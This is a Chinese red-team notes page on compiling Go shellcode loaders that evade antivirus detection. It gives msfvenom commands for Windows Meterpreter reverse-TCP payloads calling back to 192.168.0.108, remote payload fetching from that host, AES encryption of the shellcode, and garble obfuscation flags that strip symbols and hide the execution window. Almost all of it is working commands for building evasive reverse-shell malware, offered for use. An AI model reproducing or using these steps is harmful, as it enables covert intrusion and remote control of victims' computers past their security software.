Golang

直接编译

生成
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f c
代码转换成0x格式,粘贴到go.txt中保存为go格式
安装golang环境在shellcode目录执行
>go build生成exe

编码编译

https://github.com/biggerduck/RedTeamNotes/blob/main/%E5%88%A9%E7%94%A8go%E5%8A%A0%E8%BD%BDshellcode%E5%85%8D%E6%9D%80.pdf

加载器

go-shellcode

https://github.com/brimstone/go-shellcode
进入cmd/sc目录编译sc.exe
>go build
生成
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f hex -o shell.txt 
加载器加载shellcode
>sc.exe shellcode

Gsl

https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/gsl-sc-loader.zip
>gsl -s SHELLCODE -hex msf生成hex格式
>gsl -f shell.raw本地加载raw格式文件
>gsl -f shell.hex -hex 本地加载hex格式文件
>gsl -u http://192.168.0.108/1.raw 远程加载
>gsl -u http://192.168.0.108/1.hex

go-shellcode-loader

https://github.com/HZzz2/go-shellcode-loader
>git clone https://github.com/HZzz2/go-shellcode-loader.git
>cd go-shellcode-loader
//下条命令安装第三方混淆库  GitHub地址:https://github.com/burrowers/garble
>go install mvdan.cc/garble@latest   
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=9999 -f raw > rev.raw
>base64 -w 0 -i rev.raw > rev.bs64
>cat rev.bs64
复制到aes-sc.go中的51行替换payload
运行aes-sc.go生成AES加密后的值
>go run aes-sc.go
复制输出的值到go-sc.go中的73行替换payload
编译成exe可执行程序
>garble -tiny -literals -seed=random build -ldflags="-w -s -H windowsgui" -race go-sc.go
参数解释:
garble(混淆库):
     -tiny                    删除额外信息
     -literals               混淆文字
     -seed=random   base64编码的随机种子 
go:
    -w                        去掉调试信息,不能gdb调试了
    -s                         去掉符号表
    -H windowsgui    隐藏执行窗口,不占用 cmd 终端。 (被查杀率高)
    -race                    使数据允许竞争检测
编译后得到go-sc.exe

最后更新于